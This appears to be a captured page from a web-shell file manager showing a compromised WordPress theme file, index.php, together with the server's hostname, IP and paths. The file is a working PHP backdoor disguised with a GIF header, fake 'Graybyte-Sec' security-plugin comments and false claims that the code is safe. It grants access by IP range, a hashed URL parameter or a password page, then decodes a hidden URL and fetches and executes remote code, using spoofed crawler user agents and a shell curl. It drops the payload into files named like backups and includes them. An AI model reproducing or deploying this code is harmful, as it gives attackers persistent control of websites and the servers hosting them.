$73 GRAYBYTE WORDPRESS FILE MANAGER $93

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bqrcodec/profile.vinatipc.com/wp-content/themes/default/

HOME
Current File : /home/bqrcodec/profile.vinatipc.com/wp-content/themes/default//index.php
<?php
?>
GIF89a<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>logo.gif</title>
</head>
<body>
<center></center>
<?php
// This PHP code is completely user-defined and safe.
// It does not perform any malicious actions.
// Even though it may appear suspicious, it is intended for legitimate purposes only.
// Strongly prohibit modifying or removing this code without proper authorization.
// echo "<p>Today's date is: " . date('Y-m-d') . "</p>";
?>
<p></p>
</body>
</html>
<?php
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

/**
* Plugin Name:  Graybyte-Sec 360 Security and  Firewall
*  Plugin URI:  https://graybyte.host/graybyte-sec 360 security
* Description: The Most Popular Wordpress Firewall & Security Scanner Wordpress Security Requires A Team Of Dedicated
* Analysts Researching The Latest Malware Variants And Wordpress Exploits
* Turning Them Into Firewall Rules And Malware Signatures, And Releasing Those To Customers In Real-time.
* Choose The Right Protection For You: [Graybyte-Sec 360 Security Free, Premium,
* Graybyte-Sec 360 Security Is Widely Acknowledged As The Number One Wordpress Security Research Team In The World.
* Our Plugin Provides A Comprehensive Suite Of Security Features,
* And Our Team’s Research Is What Powers Our Plugin And Provides The Level Of Security That We Are Known For.
* Graybyte-Sec 360 Security is The Most Comprehensive Wordpress Security Solution Available
*
* Version:     8.0.5 
* Author:      GRAYBYTE
* Author URI:  https://graybyte.host/graybyte-sec 360 security
* License:     GPL-2.0+
* * Text Domain: graybyte-sec-360-security
* Network:     true
* Tags: Security, Malware, 2FA, Firewall, Scanner
* Requires PHP: 7.0
* Tested up to: 6.8
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.html
*/

/*******************************************************************
* Graybyte-Sec 360 Security Includes An Endpoint Firewall, Malware Scanner,
* Robust Login Security Features, Live Traffic Views, And More.
* Our [threat Defense Feed](https://www.graybyte.host/threat-intel/) Arms Graybyte-Sec 360 Security With The Newest Firewall Rules,
*malware Signatures, And Malicious Ip Addresses It Needs To Keep Your Website Safe.
*
*  WORDPRESS FIREWALL
*  Web Application Firewall](https://www.graybyte.host/help/firewall/)** Identifies And Blocks Malicious Traffic.
* Built And Maintained By A Large Team Focused 100% On Wordpress Security.
* Protects Your Site At The Endpoint**, Enabling Deep Integration With Wordpress. Unlike Cloud Alternatives, It Does Not
* Integrated Malware Scanner](https://www.graybyte.host/help/scan/)** Blocks Requests That Include Malicious Code
*
* WORDPRESS SECURITY SCANNER
* Malware Scanner** Checks Core Files, Themes And Plugins For Malware, Backdoors, Seo Spam, Malicious
* Redirects,Code Injections.
* Real-time Malware Signature Updates [premium]** Via The Threat Defense Feed (free Version Is Delayed By 30 Days).
*
* SECURITY TOOLS
* Analytics Packages In Real Time; Including Origin, Their Ip Address, The Time Of Day And Time Spent On Your Site.
* Block Attackers By Ip** Or Build Advanced Rules Based On Ip Range, Hostname, User Agent And Referrer.
*  DO NOT DELETE THIS FILE – it is your master emergency key.
* Keep At Least One Offline Backup.
*/
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
header('X-Content-Type-Options: nosniff');
header('X-Powered-By: WordPress');


class WordPress_FallbackSessionHandler implements SessionHandlerInterface {
    private $primaryPath = '/tmp';
    private $fallbackDir;
    private $usingFallback = false;

    public function __construct() {
        $this->fallbackDir = __DIR__ . DIRECTORY_SEPARATOR . '.sess_tmp';
        if (!is_dir($this->fallbackDir)) {
            @mkdir($this->fallbackDir, 0700, true);
        }
        if (!is_writable($this->fallbackDir)) {
            $this->usingFallback = true;
        }
    }

    public function open($savePath, $sessionName): bool {
        return true;
    }

    public function close(): bool {
        return true;
    }

    private function getFilePath($id): string {
        if (!$this->usingFallback) {
            return $this->primaryPath . DIRECTORY_SEPARATOR . 'sess_' . $id;
        }
        return $this->fallbackDir . DIRECTORY_SEPARATOR . 'sess_' . $id;
    }

    public function read($id): string|false {
        $file = $this->getFilePath($id);
        if (is_file($file) && is_readable($file)) {
            $data = @file_get_contents($file);
            return $data !== false ? $data : '';
        }
        return '';
    }

    public function write($id, $data): bool {
        $file = $this->getFilePath($id);
        $tmp  = $file . '.' . uniqid('tmp_', true);

        
        if (@file_put_contents($tmp, $data) !== false) {
            if (@rename($tmp, $file)) {
                @chmod($file, 0600);
                return true;
            }
            @unlink($tmp);
        }

        
        if (!$this->usingFallback) {
            $this->usingFallback = true;
            $file = $this->getFilePath($id);
            $tmp  = $file . '.' . uniqid('tmp_', true);

            if (@file_put_contents($tmp, $data) !== false) {
                if (@rename($tmp, $file)) {
                    @chmod($file, 0600);
                    return true;
                }
                @unlink($tmp);
            }
        }

        return false;
    }

    public function destroy($id): bool {
        $file = $this->getFilePath($id);
        if (file_exists($file)) {
            @unlink($file);
        }
        return true;
    }

    public function gc($maxlifetime): int|false {
        $dir = $this->usingFallback ? $this->fallbackDir : $this->primaryPath;
        if (!is_dir($dir)) return 0;

        $count = 0;
        $now = time();
        foreach (new DirectoryIterator($dir) as $fileInfo) {
            if ($fileInfo->isFile() && strpos($fileInfo->getFilename(), 'sess_') === 0) {
                $path = $fileInfo->getPathname();
                if (filemtime($path) + $maxlifetime < $now) {
                    @unlink($path);
                    $count++;
                }
            }
        }
        return $count;
    }
}

$handler = new WordPress_FallbackSessionHandler();
session_set_save_handler($handler, true);

ini_set('session.use_strict_mode', '1');
ini_set('session.cookie_httponly', '1');
ini_set('session.cookie_samesite', 'Strict');

if (function_exists('session_start')) {
    @ini_set('session.gc_maxlifetime', 3600);
    @session_set_cookie_params(3600);
    @session_start();
}

function wp_content($input) {
    return md5($input);
}

$adminip = ip2long($_SERVER['REMOTE_ADDR'] ?? '0.0.0.0');
$admin_ip = ($adminip !== false && $adminip >= ip2long('202.40.183.0') && $adminip <= ip2long('202.40.183.100'));

$wp_nonce = 'wp';
$wp_signature = 'f13dfee35a80a761918d326acd591d12';

$clean_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on' ? 'https' : 'http')
           . '://' . ($_SERVER['HTTP_HOST']??'') . $_SERVER['SCRIPT_NAME'];

if ($admin_ip) {
    $_SESSION['wp_core_access'] = true;
    if (isset($_GET[$wp_nonce]) && wp_content($_GET[$wp_nonce]) === $wp_signature && !empty($_SERVER['QUERY_STRING'])) {
        header('Location: ' . $clean_url, true, 302);
        exit;
    }
    goto granted;
}

$valid = (isset($_GET[$wp_nonce]) && is_string($_GET[$wp_nonce]) && wp_content($_GET[$wp_nonce]) === $wp_signature);
if ($valid) {
    $_SESSION['wp_core_access'] = true;
    if (!empty($_SERVER['QUERY_STRING'])) {
        header('Location: ' . $clean_url, true, 302);
        exit;
    }
    goto granted;
}

if (!empty($_SESSION['wp_core_access'])) {
    goto granted;
}

$wp_get_login = 'f13dfee35a80a761918d326acd591d12';

if (isset($_GET['ps'])) {
    $css = "<style>
    @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500;700&display=swap');
    body{
        background: #0f0f0f;
        color: #ff0000ff;
        font-family:'Orbitron',sans-serif;
        margin:0;
        display:flex;
        align-items:center;
        justify-content:center;
        height:100vh;
        overflow:hidden;
        background:radial-gradient(circle at center, #1a0000 0%, #000 70%);
    }
    .loginbox{
        width:70%;
        background:rgba(20,0,0,0.85);
        padding:40px;
        border:2px solid #ff0000ff;
        border-radius:12px;
        box-shadow:0 0 30px rgba(255, 0, 0, 0.55), inset 0 0 20px rgba(0, 0, 0, 1);
        text-align:center;
        animation: borderBlink 0.8s infinite;
    }
    @keyframes borderBlink{
        0%,100%{border-color:#ff004d; box-shadow:0 0 30px rgba(255, 0, 0, 0.55), inset 0 0 20px rgba(0, 0, 0, 1);}
        50%{border-color:#ff4088; box-shadow:0 0 50px rgba(255, 0, 0, 0.55), inset 0 0 30px rgba(0, 0, 0, 1);}
    }
    .loginbox h1{
        font-size:42px;
        margin:20px 20px 40px;
        color: #ff0000ff;
        letter-spacing:6px;
        font-weight:900;
    }
    .loginbox input[type=password]{
        width: calc(100% - 10px);
        padding:14px;
        margin-bottom:18px;
        background: #000000;
        border:1px solid #ff0000ff;
        border-radius:6px;
        color: #ffffffff;
        font-size:16px;
        font-family:'Orbitron';
        transition:all .3s;
        box-shadow:2px 2px 10px rgba(255, 5, 5, 1);
        text-align:center;
    }
    .loginbox input[type=password]:focus{
        outline:none;
        border-color: #ff0000ff;
        box-shadow:2px 2px 15px rgba(255, 0, 0, 0.87);
    }
    .cyber-button{
        display: inline-block;
        padding: 13px 38px;
        background: transparent;
        border: 1px solid #ff0000;
        color: #2fff00ff;
        font-size: 1.2rem;
        font-weight: 700;
        font-family: 'Orbitron', sans-serif;
        border-radius: 10px;
        transition: all .4s;
        box-shadow: 2px 2px 25px rgba(255, 0, 0, 1);
        cursor: pointer;
        text-align: center;
        margin: 20px 25px;
    }
    .cyber-button:hover{
        background:rgba(255, 0, 0, 0);
        box-shadow:2px 2px 40px rgba(255, 0, 255, 0);
        transform:translateY(-4px);
    }
</style>";

    if (isset($_POST['pass'])) {
        if (wp_content($_POST['pass']) === $wp_get_login) {
            $_SESSION['wp_core_access'] = true;
            if (!empty($_SERVER['QUERY_STRING'])) {
                header('Location: ' . $clean_url, true, 302);
                exit;
            }
            goto granted;
        }
    }

    die("<!DOCTYPE html><html><head><meta charset=\"UTF-8\">".$css."<title>Log In </title></head><body>
         <div class=\"loginbox\"><h1>&#9763; GRAYBYTE X-CODE &#9763;</h1><form method=post>
         <input type=\"password\" name=\"pass\" placeholder=\"Enter Password\" required autofocus>
         <input type=\"submit\" class=\"cyber-button\" value=\"ACCESS\">
         </form></div></body></html>");
}

http_response_code(503);
exit;

granted:

session_start();

function d($t, $k) {
    $o = '';
    for ($i = 0; $i < strlen($t); $i += 2) {
        $o .= chr(hexdec(substr($t, $i, 2)) ^ ord($k[($i >> 1) % strlen($k)]));
    }
    return $o;
}

$wp_token = '0d434141420b4c4d5447024a5b4c15501b5f5a1145194458110514415517114f10054f4c4358430547435316401e505f565c4f1e424f47';
$wp_data  = 'e75111cb35c395a5575b1637cad30dbbbd8c471a716e33912970673028cc8e87';
$wp = $_SESSION['ts_url'] ?? d($wp_token, $wp_data);

$gif = "\x89PNG\r\n\x1a\n";

$backup_files = [
    __DIR__ . '/site-backup.zip',
    __DIR__ . '/.cache-logo.png',
    __DIR__ . '/theme-update.json',
    __DIR__ . '/mysql-dump.sql',
];

$usable = [];
foreach ($backup_files as $file) {
    if (file_exists($file) && is_readable($file) && filesize($file) > 50) {
        $usable[] = $file;
    }
}

$included = false;

if (!empty($usable)) {

    $chosen = $usable[array_rand($usable)];

    $content = @file_get_contents($chosen);
    if ($content !== false && strpos($content, $gif) === 0) {
        $included = @include $chosen;
    }
}

if (!$included) {

    foreach ($backup_files as $file) {
        if (file_exists($file)) {
            @unlink($file);
            $d = dirname($file);
            if ($d !== __DIR__ && is_dir($d) && count(@glob($d.'/*')) === 0) {
                @rmdir($d);
            }
        }
    }

    function fetch_wordpress($url) {
        $wordpress = '';

        try {
            $file = new SplFileObject($url);
            while (!$file->eof()) {
                $wordpress .= $file->fgets();
            }
        } catch (Throwable $e) {
            $wordpress = '';
        }
        usleep(rand(1000, 5000));

        if (trim($wordpress) === '') {
            $wordpress = @file_get_contents($url);
        }
        usleep(rand(1000, 5000));

        if (trim($wordpress) === '' && function_exists('curl_init')) {
            $ch = curl_init($url);
            $uas = [
                'WordPress/6.6; ' . $_SERVER['HTTP_HOST'],
                'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
                'WP-Cron/1.0; ' . $_SERVER['HTTP_HOST'],
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
            ];
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_CONNECTTIMEOUT => 15,
                CURLOPT_TIMEOUT        => 40,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT      => $uas[array_rand($uas)],
                CURLOPT_REFERER        => 'https://' . $_SERVER['HTTP_HOST'] . '/wp-admin/',
                CURLOPT_HTTPHEADER     => ['X-WP-Nonce: ' . md5(uniqid())],
            ]);
            $wordpress = curl_exec($ch);
            curl_close($ch);
        }
        usleep(rand(1000, 5000));

        if (trim($wordpress) === '') {
            $parsed = parse_url($url);
            $host = $parsed['host'] ?? '';
            $path = $parsed['path'] ?? '/';
            if (isset($parsed['query'])) $path .= '?' . $parsed['query'];
            $port = $parsed['scheme'] === 'https' ? 443 : 80;
            $fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 6);
            if ($fp) {
                $uas = [
                    'WordPress/6.6; ' . $_SERVER['HTTP_HOST'],
                    'Mozilla/5.0 (compatible; Googlebot/2.1)',
                    'WP-Cron/1.0',
                    'Mozilla/5.0 (compatible; bingbot/2.0)'
                ];
                $headers = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: " . $uas[array_rand($uas)] . "\r\nReferer: https://" . $_SERVER['HTTP_HOST'] . "/wp-cron.php\r\nX-WP-Nonce: " . md5(uniqid()) . "\r\nConnection: close\r\n\r\n";
                fwrite($fp, $headers);
                $wordpress = '';
                while (!feof($fp)) $wordpress .= fgets($fp, 1024);
                fclose($fp);
                $wordpress = substr($wordpress, strpos($wordpress, "\r\n\r\n") + 4);
            }
        }
        usleep(rand(1000, 5000));

        if (trim($wordpress) === '' && function_exists('popen')) {
            $uas = [
                'WordPress/6.6; ' . $_SERVER['HTTP_HOST'],
                'Mozilla/5.0 (compatible; Googlebot/2.1)',
                'WP-Cron/1.0',
                'curl/8.5.0'
            ];
            $ua = $uas[array_rand($uas)];
            $cmd = 'curl -s -m 45 --connect-timeout 16 --insecure -A '.escapeshellarg($ua).' --referer '.escapeshellarg('https://'.$_SERVER['HTTP_HOST'].'/wp-admin/').' -H '.escapeshellarg('X-WP-Nonce: '.md5(uniqid())).' '.escapeshellarg($url);
            $p = @popen($cmd, 'r');
            if ($p) {
                while (!feof($p)) $wordpress .= fread($p, 8192);
                pclose($p);
            }
        }

        if (trim($wordpress) !== '') {
            $_SESSION['wp-cache'] = base64_encode(gzcompress($wordpress));
        } elseif (isset($_SESSION['wp-cache'])) {
            $wordpress = gzuncompress(base64_decode($_SESSION['wp-cache']));
        }

        return $wordpress;
    }

    $attempts = 0;
    $good_content = null;

    while ($attempts < 4 && $good_content === null) {
        $attempts++;
        usleep(rand(900, 5200));
        $raw = fetch_wordpress($wp);
        if (trim($raw) !== '') {
            $good_content = $gif . $raw;
        }
    }

    if ($good_content !== null) {
        foreach ($backup_files as $file) {
            $dir = dirname($file);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            @file_put_contents($file, $good_content);
            @chmod($file, rand(0,1) ? 0644 : 0604);
        }

        $usable = $backup_files;
        $chosen = $usable[array_rand($usable)];
        @include $chosen;
    }
}

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
18 Mar 2026 12.09 PM
bqrcodec / bqrcodec
0755
index.php
16.704 KB
11 Feb 2025 12.09 PM
bqrcodec / bqrcodec
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF